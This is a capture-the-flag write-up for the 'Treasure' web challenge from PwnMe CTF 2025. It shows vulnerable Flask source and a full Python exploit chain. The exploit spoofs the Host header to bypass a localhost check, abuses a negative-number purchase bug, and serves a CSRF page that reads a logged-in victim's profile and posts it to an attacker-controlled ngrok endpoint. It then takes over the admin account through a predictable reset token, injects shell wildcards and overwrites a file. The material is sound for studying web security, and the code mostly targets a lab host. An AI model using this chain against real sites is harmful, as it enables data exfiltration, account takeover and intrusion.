PwnMe CTF 2025 (finale): Treasure

.
├── cert.pem
├── docker-compose.yml
├── Dockerfile
├── entrypoint.sh
├── key.pem
├── main.py
├── requirements.txt
└── src
    ├── admin_data_uploaded
    │   └── bf8fdd545086e4e7.json
    ├── app.py
    ├── backup.sh
    ├── blueprints
    │   ├── api.py
    │   └── render.py
    ├── bot.py
    ├── create_admin.py
    ├── models
    │   ├── inventory.py
    │   ├── reset_token.py
    │   └── user.py
    ├── static
    │   └── img
    │       └── items
    │           ├── Nothing.webp
    │           ├── The Banner of Eternal Whispers.jpeg
    │           ├── The Banner of Lost Souls.jpeg
    │           ├── The Celestial Dominion's Banner.jpeg
    │           ├── The Eternal Flame's Standard.jpeg
    │           └── Village Banner.jpeg
    ├── templates
    │   ├── admin.html
    │   ├── base.html
    │   ├── index.html
    │   ├── inventory.html
    │   ├── login.html
    │   ├── navbar.html
    │   └── register.html
    └── utils.py

9 directories, 31 files

@api_bp.route('/drop', methods=['GET', 'POST'])
@login_required
def drop():
    with open(os.environ['DROP_FILENAME'], 'r') as f:
        items = json.load(f).get('items')

    if request.method == 'GET':
        return jsonify({"chest_cost": CHEST_COST, "items": items})

    elif request.method == 'POST':
        user_id = session.get('user_id')
        balance = db.session.query(User).filter_by(id=user_id).first().balance

        data = request.get_json()
        nb = data.get('nb')

        if not nb:
            return jsonify({"error": "Missing number of chests."}), 400

        if int(nb) < 0:
            return jsonify({"error": "Cannot take less than 0."}), 400
        
        if int(nb) > 3:
            return jsonify({"error": "Cannot take more than 3."}), 400
        
        if balance < int(nb) * CHEST_COST:
            return jsonify({"error": "Not enough money."}), 400

        balance -= nb * CHEST_COST

        db.session.query(User).filter_by(id=user_id).update({'balance': balance})
        db.session.commit()

        items_dropped = drop_items(int(nb), items)

        for item in items_dropped:
            inventory_item = db.session.query(Inventory).filter_by(user_id=user_id, item_id=item['id']).first()
            if inventory_item:
                inventory_item.quantity += 1
            else:
                if item['rarity'] == 'impossible' and session.get('role') != 'admin':
                    name = os.environ['FLAG']
                else:
                    name = item['name']

                new_inventory_item = Inventory(
                    user_id=user_id,
                    item_id=item['id'],
                    name=name,
                    rarity=item['rarity'],
                    image=item['image']
                )
                db.session.add(new_inventory_item)
        db.session.commit()
        
        return jsonify({"items": items_dropped})

def cors_config(response):
    response.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin', '')

    referer = urllib.parse.unquote(request.headers.get('Referer', ''))
    if re.search('^https?:\\/\\/localhost:5000\\/.*', referer, re.MULTILINE):
        response.headers['Access-Control-Allow-Credentials'] = 'true'

    return response

...

@api_bp.route('/profile', methods=['OPTIONS'])
def options_profile():
    response = make_response('', 204)
    return cors_config(response)

@api_bp.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
    if request.method == 'GET':
        user_id = session.get('user_id')
        user = db.session.query(User).filter_by(id=user_id).first()

        response = make_response(jsonify({
            'uuid': user.uuid, 
            'role': user.role, 
            'username': user.username, 
            'balance': user.balance,
        }))

        return cors_config(response)
    
    elif request.method == 'POST':
        response = make_response(jsonify({"success": "Profile updated."}))
        return cors_config(response)

# Treasure PoC

# pip install requests flask ngrok
# export your NGROK_AUTHTOKEN before running the script

import requests
import ngrok
from flask import Flask, request
import threading
import time
import hashlib
import re
import io
import warnings
from urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter("ignore", InsecureRequestWarning)

HOST = 'https://172.19.0.2:5000'

username_ato = 'admin'
username = 'ctfplayer'
password = 'ctfplayer'

data = {}
csrf_end_event = threading.Event()

# Step 1: Sign up without being from localhost
def register(username, password):
    requests.post(HOST + '/register', 
        headers={'Host': '127.0.0.1:5000'}, # Bypass localhost_required()
        data={'username': username, 'password': password, 'password_confirmation': password}, 
        verify=False
    )

def login(username, password):
    login_request = requests.post(HOST + '/login',
        data={'username': username, 'password': password},
        allow_redirects=False,
        verify=False
    )
    return login_request.cookies['session']

# Step 2: Business Logic Error to earn money
def earn_money(session):
    requests.post(HOST + '/api/drop', 
        cookies={'session': session}, 
        json={'nb': -0.999},
        verify=False
    )

# Step 3: CSRF via CORS Misconfiguration with referer checker bypass 
def start_csrf_attack(session, url):
    def send_csrf():
        time.sleep(2)
        requests.post(HOST + '/api/report', 
            cookies={'session': session}, 
            json={'url': url + '/csrf'},
            verify=False
        )

    app = Flask(__name__)

    @app.route('/csrf')
    def csrf():
        return f"""
        <script>
            async function csrf(){{
                const response = await fetch("https://localhost:5000/api/profile", {{referrerPolicy: "unsafe-url", "credentials": "include"}});
                const data = await response.json();
                await fetch("{url}/exfiltration", {{
                    method: "POST",
                    headers: {{"Content-Type": "application/json"}},
                    body: JSON.stringify({{"data": data}})
                }});
            }}
            history.pushState(null, '', '%0Ahttp://localhost:5000/');
            csrf();
        </script>
        """
    
    @app.route('/exfiltration', methods=['POST'])
    def exfiltration():
        global data
        data = request.json.get('data')
        csrf_end_event.set()

        return 'Thanks!'

    threading.Thread(target=send_csrf, daemon=True).start()
    app.run(port=1337, debug=False)

# Step 4: Generate reset token via UUID leak by CSRF to ATO admin account
def ato(uuid, username, password):
    requests.post(HOST + '/api/reset_token', 
        headers={'Host': '127.0.0.1:5000'}, # Bypass localhost_required()
        json={"username": username},
        verify=False
    )
    requests.post(HOST + '/api/change_password',
        json={
            "password": password,
            "password_confirmation": password,
            "token": hashlib.sha1(username.encode() + uuid.encode()).hexdigest()
        },
        verify=False
    )

# Step 5: OS Command Injection which lead to json filename leak
def os_command_injection(admin_session):
    backup_req = requests.post(HOST + '/api/backup', 
        cookies={'session': admin_session}, 
        json={"time": "?????????????????????$"},
        verify=False
    )
    filename_leak = re.search(r'[\w-]+\.json', backup_req.json()['output']).group(0)
    return filename_leak

# Step 6: Upload and replace the json file with item rate drop for "impossible" rarity to 100%
def upload_file(admin_session, filename):
    data = """
        {
            "items": [
                {"id": 1337, "rarity": "impossible", "name": "The Celestial Dominion's Banner", "drop_rate": 100, "image": "The Celestial Dominion's Banner.jpeg"}
            ]
        }
        """

    file = io.BytesIO(data.encode('utf-8'))

    requests.post(HOST + '/api/upload', 
        cookies={'session': admin_session},
        files={'file': (filename, file, 'application/json')},
        verify=False
    )

# Step 7: Get the flag
def get_flag(session):
    requests.post(HOST + '/api/drop', 
        cookies={'session': session}, 
        json={'nb': 1},
        verify=False
    )
    inventory_req = requests.get(HOST + '/api/inventory', 
        cookies={'session': session},
        verify=False
    )

    flag = [_ for _ in inventory_req.json() if _['rarity']== 'impossible'][0]['name']
    return flag

if __name__ == '__main__':
    listener = ngrok.forward(1337, authtoken_from_env=True)
    url = listener.url()
    print(f"Ngrok: {url}\n")

    print(f"[+] Sign up with {username}:{password}")
    register(username, password)

    print(f"[+] Login with {username}:{password}")
    session = login(username, password)

    print("[+] Business Logic Error to Earn money")
    earn_money(session)

    print("[+] Start CSRF attack")
    threading.Thread(target=start_csrf_attack, args=(session, url), daemon=True).start()
    if csrf_end_event.wait(60):
        print(f"Data exfiltrate: {data}")

        print("[+] Account Take Over")
        ato(data['uuid'], username_ato, password)

        print(f"[+] Login with {username_ato}:{password}")
        session_ato = login(username_ato, password)

        print("[+] Leak .json filename")
        filename_leak = os_command_injection(session_ato)

        print(f"[+] Replace '{filename_leak}' to get 100% of chance")
        upload_file(session_ato, filename_leak)

        print(f"[+] Get the flag from '{username}'")
        flag = get_flag(session)
        print(f"\nFlag: {flag}")